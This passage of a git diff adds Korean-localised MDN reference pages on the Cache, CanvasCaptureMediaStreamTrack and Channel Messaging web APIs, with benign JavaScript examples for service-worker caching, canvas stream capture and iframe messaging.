+<p>그런 다음 코드는 {{domxref("Cache.match", "Cache.match(request, options)")}}를 사용하여 캐시에 이미 일치하는 글꼴이 있는지 확인한 후 일치하는 글꼴을 반환합니다. 일치하는 글꼴이 없으면 코드는 네트워크에서 글꼴을 가져오고 {{domxref("Cache.put","Cache.put(request, response)")}}을 사용하여 가져온 리소스를 캐시합니다.</p>
+
+<p>이 코드는 {{domxref("Globalfetch.fetch","fetch()")}} 연산에서 발생한 예외를 처리합니다. HTTP오류 응답(예 : 404)은 예외를 발생시키지 않습니다. 적절한 오류 코드가있는 일반 응답 객체를 리턴합니다.</p>
+
+<p>또한 코드 스니펫은 {domxref ( "ServiceWorker")}}가 사용하는 캐시 버전 관리를 위한 모범 사례를 보여줍니다. 이 예에서는 캐시가 하나 밖에 없지만 동일한 접근법을 여러 캐시에 사용할 수 있습니다. 캐시의 단축 식별자를 특정 버전의 캐시 이름에 매핑합니다. 또한 이 코드는 <code>CURRENT_CACHES</code>에 이름이 지정되지 않은 모든 캐시를 삭제합니다.</p>
+
+<div class="note"><strong>Note:</strong> 크롬에서, chrome://inspect/#service-workers 를 방문하여 "inspect" 를 클릭하여 <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/selective-caching/service-worker.js">service-worker.js</a> 스크립트가 수행중인 다양한 작업에 대한 로깅 구문을 확인합니다.</div>
+
+<pre class="brush: js">var CACHE_VERSION = 1;
+
+// Shorthand identifier mapped to specific versioned cache.
+var CURRENT_CACHES = {
+  font: 'font-cache-v' + CACHE_VERSION
+};
+
+self.addEventListener('activate', function(event) {
+  var expectedCacheNames = Object.keys(CURRENT_CACHES).map(function(key) {
+    return CURRENT_CACHES[key];
+  });
+
+  // Active worker won't be treated as activated until promise resolves successfully.
+  event.waitUntil(
+    caches.keys().then(function(cacheNames) {
+      return Promise.all(
+        cacheNames.map(function(cacheName) {
+          if (expectedCacheNames.indexOf(cacheName) == -1) {
+            console.log('Deleting out of date cache:', cacheName);
+
+            return caches.delete(cacheName);
+          }
+        })
+      );
+    })
+  );
+});
+
+self.addEventListener('fetch', function(event) {
+  console.log('Handling fetch event for', event.request.url);
+
+  event.respondWith(
+
+    // Opens Cache objects that start with 'font'.
+    caches.open(CURRENT_CACHES['font']).then(function(cache) {
+      return cache.match(event.request).then(function(response) {
+        if (response) {
+          console.log(' Found response in cache:', response);
+
+          return response;
+        }
+      }).catch(function(error) {
+
+        // Handles exceptions that arise from match() or fetch().
+        console.error('  Error in fetch handler:', error);
+
+        throw error;
+      });
+    })
+  );
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#cache', 'Cache')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<p>{{Compat("api.Cache")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li><a class="external external-icon" href="https://github.com/mdn/sw-test">Service workers basic code example</a></li>
+ <li><a class="external external-icon" href="https://jakearchibald.github.io/isserviceworkerready/">Is ServiceWorker ready?</a></li>
+ <li>{{jsxref("Promise")}}</li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/Guide/Performance/Using_web_workers">Using web workers</a></li>
+</ul>
diff --git a/files/ko/web/api/cache/put/index.html b/files/ko/web/api/cache/put/index.html
new file mode 100644
index 0000000000..9237ee6efe
--- /dev/null
+++ b/files/ko/web/api/cache/put/index.html
@@ -0,0 +1,118 @@
+---
+title: Cache.put()
+slug: Web/API/Cache/put
+tags:
+  - API
+  - Cache
+  - Experimental
+  - Method
+  - Reference
+  - Service Workers
+  - ServiceWorker
+  - put
+translation_of: Web/API/Cache/put
+---
+<p>{{APIRef("Service Workers API")}}{{SeeCompatTable}}</p>
+
+<p><span class="seoSummary">The <strong><code>put()</code></strong> method of the {{domxref("Cache")}} interface allows key/value pairs to be added to the current {{domxref("Cache")}} object.</span></p>
+
+<p>Often, you will just want to {{domxref("WindowOrWorkerGlobalScope.fetch","fetch()")}} one or more requests, then add the result straight to your cache. In such cases you are better off using {{domxref("Cache.add","Cache.add()")}}/{{domxref("Cache.addAll","Cache.addAll()")}}, as they are shorthand functions for one or more of these operations.</p>
+
+<pre class="brush: js">fetch(url).then(function(response) {
+  if (!response.ok) {
+    throw new TypeError('Bad response status');
+  }
+  return cache.put(url, response);
+})
+
+</pre>
+
+<div class="note">
+<p><strong>Note</strong>: <code>put()</code> will overwrite any key/value pair previously stored in the cache that matches the request.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: {{domxref("Cache.add")}}/{{domxref("Cache.addAll")}} do not cache responses with <code>Response.status</code> values that are not in the 200 range, whereas {{domxref("Cache.put")}} lets you store any request/response pair. As a result, {{domxref("Cache.add")}}/{{domxref("Cache.addAll")}} can't be used to store opaque responses, whereas {{domxref("Cache.put")}} can.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: Initial Cache implementations (in both Blink and Gecko) resolve {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, and {{domxref("Cache.put")}} promises when the response body is fully written to the disk.  More recent spec versions state that the browser can resolve the promise as soon as the entry is recorded in the database even if the response body is still streaming in.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="brush: js">cache.put(request, response).then(function() {
+  // request/response pair has been added to the cache
+});
+</pre>
+
+<h3 id="Parameters">Parameters</h3>
+
+<dl>
+ <dt>request</dt>
+ <dd>The {{domxref("Request")}} you want to add to the cache.</dd>
+ <dt>response</dt>
+ <dd>The {{domxref("Response")}} you want to match up to the request.</dd>
+</dl>
+
+<h3 id="Return_value">Return value</h3>
+
+<p>A {{jsxref("Promise")}} that resolves with void.</p>
+
+<div class="note">
+<p><strong>Note</strong>: The promise will reject with a <code>TypeError</code> if the URL scheme is not <code>http</code> or <code>https</code>.</p>
+</div>
+
+<h2 id="Examples" style="line-height: 30px; font-size: 2.14285714285714rem;">Examples</h2>
+
+<p>This example is from the MDN <a href="https://github.com/mdn/sw-test/">sw-test example</a> (see <a href="https://mdn.github.io/sw-test/">sw-test running live</a>). Here we wait for a {{domxref("FetchEvent")}} to fire. We construct a custom response like so:</p>
+
+<ol>
+ <li>Check whether a match for the request is found in the {{domxref("CacheStorage")}} using {{domxref("CacheStorage.match","CacheStorage.match()")}}. If so, serve that.</li>
+ <li>If not, open the <code>v1</code> cache using <code>open()</code>, put the default network request in the cache using {{domxref("Cache.put","Cache.put()")}} and return a clone of the default network request using <code>return response.clone()</code>. Clone is needed because <code>put()</code> consumes the response body.</li>
+ <li>If this fails (e.g., because the network is down), return a fallback response.</li>
+</ol>
+
+<pre class="brush: js">var response;
+var cachedResponse = caches.match(event.request).catch(function() {
+  return fetch(event.request);
+}).then(function(r) {
+  response = r;
+  caches.open('v1').then(function(cache) {
+    cache.put(event.request, response);
+  });
+  return response.clone();
+}).catch(function() {
+  return caches.match('/sw-test/gallery/myLittleVader.jpg');
+});</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#dom-cache-put', 'Cache: put')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Cache.put")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ko/web/api/canvascapturemediastreamtrack/canvas/index.html b/files/ko/web/api/canvascapturemediastreamtrack/canvas/index.html
new file mode 100644
index 0000000000..de8703deb5
--- /dev/null
+++ b/files/ko/web/api/canvascapturemediastreamtrack/canvas/index.html
@@ -0,0 +1,69 @@
+---
+title: CanvasCaptureMediaStreamTrack.canvas
+slug: Web/API/CanvasCaptureMediaStreamTrack/canvas
+tags:
+  - 웹
+  - 캔버스
+translation_of: Web/API/CanvasCaptureMediaStreamTrack/canvas
+---
+<div>{{APIRef}}</div>
+
+<p>The {{domxref("CanvasCaptureMediaStreamTrack")}} <strong><code>canvas</code></strong>읽기 전용 속성은 프레임이 캡쳐되는{{domxref("HTMLCanvasElement")}} 를 반환한다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate">var <var>elt</var> = <var>stream</var>.canvas;
+</pre>
+
+<h3 id="값">값</h3>
+
+<p><code><font face="Arial, x-locale-body, sans-serif"><span style="background-color: #ffffff;">캡처되는 프레임의 원본인 canvas를 나타내는 </span></font>HTMLCanvasElement</code> .</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js notranslate">// 캡처할 canvas 요소 찾기
+var canvasElt = document.getElementsByTagName("canvas")[0];
+
+// stream 얻기
+var stream = canvasElt.captureStream(25); // 25 FPS
+
+// stream 처리하기
+...
+
+// stream과 연결된 canvas 가져오기
+var canvas = stream.canvas;
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">내용</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Media Capture DOM Elements', '#dom-canvascapturemediastreamtrack-canvas', 'CanvasCaptureMediaStreamTrack.canvas')}}</td>
+   <td>{{Spec2('Media Capture DOM Elements')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+<div class="hidden">이 페이지의 호환성 표는 구조화된 데이터에서 생성됩니다. 만약 데이터에 기여하고 싶다면,   <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>을 확인하여 pull request를 보내주세요.</div>
+
+<p>{{Compat("api.CanvasCaptureMediaStreamTrack.canvas")}}</p>
+</div>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{domxref("HTMLCanvasElement.captureStream()")}} to create a stream to capture a given canvas element.</li>
+ <li>{{HTMLElement("canvas")}}</li>
+</ul>
diff --git a/files/ko/web/api/canvascapturemediastreamtrack/index.html b/files/ko/web/api/canvascapturemediastreamtrack/index.html
new file mode 100644
index 0000000000..26c00af3eb
--- /dev/null
+++ b/files/ko/web/api/canvascapturemediastreamtrack/index.html
@@ -0,0 +1,72 @@
+---
+title: CanvasCaptureMediaStreamTrack
+slug: Web/API/CanvasCaptureMediaStreamTrack
+tags:
+  - CanvasCaptureMediaStreamTrack
+  - Experimental
+  - Frame Capture
+  - Interface
+  - Media
+  - Media Capture
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - Web
+translation_of: Web/API/CanvasCaptureMediaStreamTrack
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">The <strong><code>CanvasCaptureMediaStreamTrack</code></strong> interface represents the video track contained in a {{domxref("MediaStream")}} being generated from a {{HTMLElement("canvas")}} following a call to {{domxref("HTMLCanvasElement.captureStream()")}}.</span></p>
+
+<p>Part of the <a href="/en-US/docs/Web/API/Media_Streams_API">Media Capture and Streams API</a>.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface inherits the properties of its parent, {{domxref("MediaStreamTrack")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("CanvasCaptureMediaStreamTrack.canvas")}} {{readonlyInline}}</dt>
+ <dd>Returns the {{domxref("HTMLCanvasElement")}} object whose surface is captured in real-time.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface inherits the methods of its parent, {{domxref("MediaStreamTrack")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("CanvasCaptureMediaStreamTrack.requestFrame()")}}</dt>
+ <dd>Manually forces a frame to be captured and sent to the stream. This lets applications that wish to specify the frame capture times directly do so, if they specified a <code>frameRate</code> of 0 when calling {{domxref("HTMLCanvasElement.captureStream", "captureStream()")}}.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Media Capture DOM Elements', '#the-canvascapturemediastreamtrack', 'CanvasCaptureMediaStreamTrack')}}</td>
+   <td>{{Spec2('Media Capture DOM Elements')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.CanvasCaptureMediaStreamTrack")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>{{domxref("HTMLCanvasElement.captureStream()")}} to begin capturing frames from a canvas</li>
+</ul>
diff --git a/files/ko/web/api/canvascapturemediastreamtrack/requestframe/index.html b/files/ko/web/api/canvascapturemediastreamtrack/requestframe/index.html
new file mode 100644
index 0000000000..aff25aaaa3
--- /dev/null
+++ b/files/ko/web/api/canvascapturemediastreamtrack/requestframe/index.html
@@ -0,0 +1,69 @@
+---
+title: CanvasCaptureMediaStreamTrack.requestFrame()
+slug: Web/API/CanvasCaptureMediaStreamTrack/requestFrame
+tags:
+  - 캔버스
+translation_of: Web/API/CanvasCaptureMediaStreamTrack/requestFrame
+---
+<div>{{APIRef("Media Capture and Streams")}}</div>
+
+<p><span class="seoSummary">The {{domxref("CanvasCaptureMediaStreamTrack")}} 의 메서드 <strong><code>requestFrame()</code></strong> 은 canvas에서 프레임을 캡처하여 stream으로 보낼 것을 요청한다. 렌더링 타이밍과 프레임 캡처를 섬세하게 제어해야하는 애플리케이션은 </span> <code>requestFrame()</code> 을 사용해 프레임을 캡처할 시기를 직접 지정할 수 있다.</p>
+
+<p>프레임의 자동 캡처를 방지하려면 <code>requestFrame()</code> 이 호출될 때만 프레임이 캡처되도록 {{domxref("HTMLCanvasElement.captureStream", "captureStream()")}} 메서드에 값을 0으로 지정하세요.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="syntaxbox notranslate"><var>stream</var>.requestFrame();
+</pre>
+
+<h3 id="Return_값">Return 값</h3>
+
+<p><code>undefined</code></p>
+
+<h2 id="참고_사항">참고 사항</h2>
+
+<p>현재 사양에는 canvas가 origin-clean 이 아닌 경우 예외를 발생시키지 않는다는 점을 지적하는 문제가 플래그로 표시되어 있다. 이것은 앞으로 바뀔 수 있기 때문에 계획을 미리 세우고  <code>SecurityError</code> (적용될 수 있는 구체적인 오류는 사양에 언급되어 있지 않지만, 유력한 후보임)와 같은 예외사항을 지켜보는 것이 좋다.</p>
+
+<h2 id="예시">예시</h2>
+
+<pre class="brush: js notranslate">// 캡처할 canvas 요소 찾기
+var canvasElt = document.getElementsByTagName("canvas")[0];
+
+// stream 가져오기
+var stream = canvasElt.captureStream(25); // 25 FPS
+
+// canvas의 현재 상태를 프레임으로 stream에 보내기
+stream.getVideoTracks()[0].requestFrame();
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">내용</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Media Capture DOM Elements', '#dom-canvascapturemediastreamtrack-requestframe', 'CanvasCaptureMediaStream.requestFrame()')}}</td>
+   <td>{{Spec2('Media Capture DOM Elements')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div class="hidden">이 페이지의 호환성 표는 구조화된 데이터에서 생성됩니다. 만약 데이터에 기여하고 싶다면, <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> 을 확인하여 pull request를 보내주세요</div>
+
+<p>{{Compat("api.CanvasCaptureMediaStreamTrack.requestFrame")}}</p>
+
+<h2 id="더_보기">더 보기</h2>
+
+<ul>
+ <li>{{domxref("CanvasCaptureMediaStream")}}, the interface it belongs to.</li>
+ <li>{{HTMLElement("canvas")}}</li>
+</ul>
diff --git a/files/ko/web/api/channel_messaging_api/index.html b/files/ko/web/api/channel_messaging_api/index.html
new file mode 100644
index 0000000000..c65fe58975
--- /dev/null
+++ b/files/ko/web/api/channel_messaging_api/index.html
@@ -0,0 +1,91 @@
+---
+title: Channel Messaging API
+slug: Web/API/Channel_Messaging_API
+tags:
+  - API
+  - Channel messaging
+  - HTML API
+  - Overview
+  - Reference
+translation_of: Web/API/Channel_Messaging_API
+---
+<p>{{DefaultAPISidebar("Channel Messaging API")}}</p>
+
+<p class="summary">The <strong>Channel Messaging API</strong> allows two separate scripts running in different browsing contexts attached to the same document (e.g., two IFrames, or the main document and an IFrame, two documents via a {{domxref("SharedWorker")}}, or two workers) to communicate directly, passing messages between one another through two-way channels (or pipes) with a port at each end.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Channel_messaging_concepts_and_usage">Channel messaging concepts and usage</h2>
+
+<p>A message channel is created using the {{domxref("MessageChannel.MessageChannel", "MessageChannel()")}} constructor. Once created, the two ports of the channel can be accessed through the {{domxref("MessageChannel.port1")}} and {{domxref("MessageChannel.port2")}} properties (which both return {{domxref("MessagePort")}} objects.) The app that created the channel uses <code>port1</code>, and the app at the other end of the port uses <code>port2</code> — you send a message to <code>port2</code>, and transfer the port over to the other browsing context using {{domxref("window.postMessage")}} along with two arguments (the message to send, and the object to transfer ownership of, in this case the port itself.)</p>
+
+<p>When these transferable objects are transferred, they are 'neutered' on the previous context — the one they previously belonged to. For instance a port, when is sent, cannot be used anymore by the original context. Note that the only two objects that can currently be transferred are {{domxref("ArrayBuffer")}} and {{domxref("MessagePort")}}.</p>
+
+<p>The other browsing context can listen for the message using {{domxref("MessagePort.onmessage")}}, and grab the contents of the message using the event's <code>data</code> attribute. You could then respond by sending a message back to the original document using {{domxref("MessagePort.postMessage")}}.</p>
+
+<p>When you want to stop sending messages down the channel, you can invoke {{domxref("MessagePort.close")}} to close the ports.</p>
+
+<p>Find out more about how to use this API in <a href="/en-US/docs/Web/API/Channel_Messaging_API/Using_channel_messaging">Using channel messaging</a>.</p>
+
+<h2 id="Channel_messaging_interfaces">Channel messaging interfaces</h2>
+
+<dl>
+ <dt>{{domxref("MessageChannel")}}</dt>
+ <dd>Creates a new message channel to send messages across.</dd>
+ <dt>{{domxref("MessagePort")}}</dt>
+ <dd>Controls the ports on the message channel, allowing sending of messages from one port and listening out for them arriving at the other.</dd>
+ <dt>{{domxref("PortCollection")}}</dt>
+ <dd>An array of <code>MessagePort</code>s; an experimental solution to allow broadcasting of a message to multiple ports simultaneously.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<ul>
+ <li>We have published a <a href="https://github.com/mdn/dom-examples/tree/master/channel-messaging-basic">channel messaging basic demo</a> on Github (<a href="http://mdn.github.io/dom-examples/channel-messaging-basic/">run it live too</a>), which shows a really simple single message transfer between a page and an embedded {{htmlelement("iframe")}}.</li>
+ <li>You can also see a <a href="https://github.com/mdn/dom-examples/tree/master/channel-messaging-multimessage">multimessaging demo</a> (<a href="http://mdn.github.io/dom-examples/channel-messaging-multimessage/">run this live</a>), which shows a slightly more complex setup that can send multiple messages between main page and IFrame.</li>
+</ul>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'web-messaging.html#channel-messaging', 'Channel messaging')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+<h3 id="MessageChannel"><code>MessageChannel</code></h3>
+
+<div>
+
+
+<p>{{Compat("api.MessageChannel", 0)}}</p>
+
+<h3 id="MessagePort"><code>MessagePort</code></h3>
+
+<div>
+<div class="hidden">The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</div>
+
+<p>{{Compat("api.MessagePort", 0)}}</p>
+</div>
+</div>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Channel_Messaging_API/Using_channel_messaging">Using channel messaging</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers API</a></li>
+ <li><a href="/en-US/docs/Web/API/Broadcast_Channel_API">Broadcast Channel API</a></li>
+</ul>
diff --git a/files/ko/web/api/channel_messaging_api/using_channel_messaging/index.html b/files/ko/web/api/channel_messaging_api/using_channel_messaging/index.html
new file mode 100644
index 0000000000..f4400bd998
--- /dev/null
+++ b/files/ko/web/api/channel_messaging_api/using_channel_messaging/index.html
@@ -0,0 +1,220 @@
+---
+title: Using channel messaging
+slug: Web/API/Channel_Messaging_API/Using_channel_messaging
+translation_of: Web/API/Channel_Messaging_API/Using_channel_messaging
+---
+<p>{{DefaultAPISidebar("Channel Messaging API")}}</p>
+
+<p><a href="/en-US/docs/Web/API/Channel_Messaging_API">Channel Messaging API</a> 는 두 개의 독립적인 스크립트(예를 들면, 두 개의 IFrame, 또는 메인 다큐먼트와 IFrame, 또는 {{domxref("SharedWorker")}}에 의한 두 개의 다큐먼트)를 각 포트를 가진 양방향 채널(또는 파이프)을 통해 서로 직접 통신할 수 있도록 해줍니다. 이 문서에서 이 기술을 사용하는 기본내용에 대해 살펴봅시다.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Use_cases">Use cases</h2>
+
+<p>Channel messaging is mainly useful in cases where you've got a social site that embeds capabilities from other sites into its main interface via IFrames, such as games, address book, or an audio player with personalized music choices. When these act as standalone units, things are ok, but the difficulty comes when you want interaction between the main site and the IFrames, or the different IFrames. For example, what if you wanted to add a contact to the address book from the main site, add high scores from your game into  your main profile, or add new background music choices from the audio player onto the game? Such things are not so easy using conventional web technology, because of the security models the web uses. You have to think about whether the origins trust one another, and how the messages are passed.</p>
+
+<p>Message channels on the other hand can provide a secure channel that a single data item can be sent down, from one browsing context to another, after which the channel is closed. The sending context asks the receiving context for the capability to send a single message. At the receiving end, this message is actioned as appropriate (for example as "add a contact", or "share high scores".)</p>
+
+<div class="note">
+<p><strong>Note</strong>: For more information and ideas, the <a href="https://html.spec.whatwg.org/multipage/comms.html#ports-as-the-basis-of-an-object-capability-model-on-the-web">Ports as the basis of an object-capability model on the Web</a> section of the spec is a useful read.</p>
+</div>
+
+<h2 id="Simple_examples">Simple examples</h2>
+
+<p>To get your started, we have published a couple of demos on Github. First up, check out our <a href="https://github.com/mdn/dom-examples/tree/master/channel-messaging-basic">channel messaging basic demo</a> (<a href="https://mdn.github.io/dom-examples/channel-messaging-basic/">run it live too</a>), which shows a really simple single message transfer between a page and an embedded {{htmlelement("iframe")}}. The embedded IFrame then sends a confirmation message back. Second, have a look at our <a href="https://github.com/mdn/dom-examples/tree/master/channel-messaging-multimessage">multimessaging demo</a> (<a href="https://mdn.github.io/dom-examples/channel-messaging-multimessage/">run this live</a>), which shows a slightly more complex setup that can send multiple messages between main page and IFrame.</p>
+
+<p>We'll be focusing on the latter example in this article. It looks like so:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/10075/channel-messaging-demo.png" style="display: block; height: 744px; margin: 0px auto; width: 690px;"></p>
+
+<h2 id="Creating_the_channel">Creating the channel</h2>
+
+<p>In the main page of the demo, we have a paragraph and a simple form with a text input for entering messages to be sent to an {{htmlelement("iframe")}}.</p>
+
+<pre class="brush: js">var para = document.querySelector('p');
+var textInput = document.querySelector('.message-box');
+var button = document.querySelector('button');
+
+var ifr = document.querySelector('iframe');
+var otherWindow = ifr.contentWindow;
+
+ifr.addEventListener("load", iframeLoaded, false);
+
+function iframeLoaded() {
+  button.onclick = function(e) {
+    e.preventDefault();
+
+    var channel = new MessageChannel();
+    otherWindow.postMessage(textInput.value, '*', [channel.port2]);
+
+    channel.port1.onmessage = handleMessage;
+    function handleMessage(e) {
+      para.innerHTML = e.data;
+      textInput.value = '';
+    }
+  }
+}</pre>
+
+<p>When the IFrame has loaded, we run an <code>iframeLoaded()</code> function containing an <code>onclick</code> handler for our button — when the button is clicked, we prevent the form submitting as normal, create a new message channel with the {{domxref("MessageChannel()","MessageChannel.MessageChannel")}} constructor, then send the value entered in our text input to the IFrame via the {{domxref("MessageChannel")}}. Let's explore how the <code>window.postMessage</code> line works in a bit more detail.</p>
+
+<p>For a start, here we are calling the {{domxref("window.postMessage")}} method — we are posting a message to the IFrame's window context. {{domxref("window.postMessage")}} has three arguments, unlike {{domxref("MessagePort.postMessage")}}, which only has two. The three arguments are:</p>
+
+<ol>
+ <li>The message being sent, in this case <code>textInput.value</code>.</li>
+ <li>The origin the message is to be sent to. * means "any origin".</li>
+ <li>An object, the ownership of which is transferred to the receiving browsing context. In this case, we are transferring {{domxref("MessageChannel.port2")}} to the IFrame, so it can be used to receive the message from the main page.</li>
+</ol>
+
+<p>At the bottom of the <code>iframeLoaded()</code> function there is a {{domxref("MessagePort.onmessage")}} handler, but we'll get to that later.</p>
+
+<h2 id="Receiving_the_port_and_message_in_the_IFrame">Receiving the port and message in the IFrame</h2>
+
+<p>Over in the IFrame, we have the following JavaScript:</p>
+
+<pre class="brush: js">var list = document.querySelector('ul');
+
+onmessage = function(e) {
+  var listItem = document.createElement('li');
+  listItem.textContent = e.data;
+  list.appendChild(listItem);
+  e.ports[0].postMessage('Message received by IFrame: "' + e.data + '"');
+}</pre>
+
+<p>The entirety of the code is wrapped in a {{domxref("window.onmessage")}} handler, which runs when the message is received from the main page (via its <code>postMessage()</code>.) First we create a list item and insert it in the unordered list, setting the {{domxref("textContent","Node.textContent")}} of the list item equal to the event's <code>data</code> attribute (this contains the actual message).</p>
+
+<p>Next, we post a confirmation message back to the main page via the message channel, using <code>e.ports[0].postMessage()</code>. How does this work? Earlier we transferred <code>port2</code> over to the IFrame — this is accessible in the event's <code>ports</code> attribute (array position <code>[0]</code>). We call {{domxref("MessagePort.postMessage")}} on this port — since <code>port2</code> is being controlled by the IFrame, and it is joined to port1 by the message channel, the specified message will be sent back to the main page.</p>
+
+<h2 id="Receiving_the_confirmation_in_the_main_page">Receiving the confirmation in the main page</h2>
+
+<p>Returning to the main page, let's now look at the onmessage handler at the bottom of the <code>iframeLoaded()</code> function:</p>
+
+<pre class="brush: js">channel.port1.onmessage = handleMessage;
+function handleMessage(e) {
+  para.innerHTML = e.data;
+  textInput.value = '';
+}</pre>
+
+<p>Here we are setting <code>port1</code>'s {{domxref("MessagePort.onmessage")}} handler equal to the <code>handleMessage()</code> function — when a message is received back from the IFrame confirming that the original message was received successfully, this simply outputs the confirmation to a paragraph and empties the text input ready for the next message to be sent.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'web-messaging.html#channel-messaging', 'Channel messaging')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(41)}}</td>
+   <td>10.0</td>
+   <td>10.6</td>
+   <td>5</td>
+  </tr>
+  <tr>
+   <td>PortCollection</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Available in workers</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(41)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
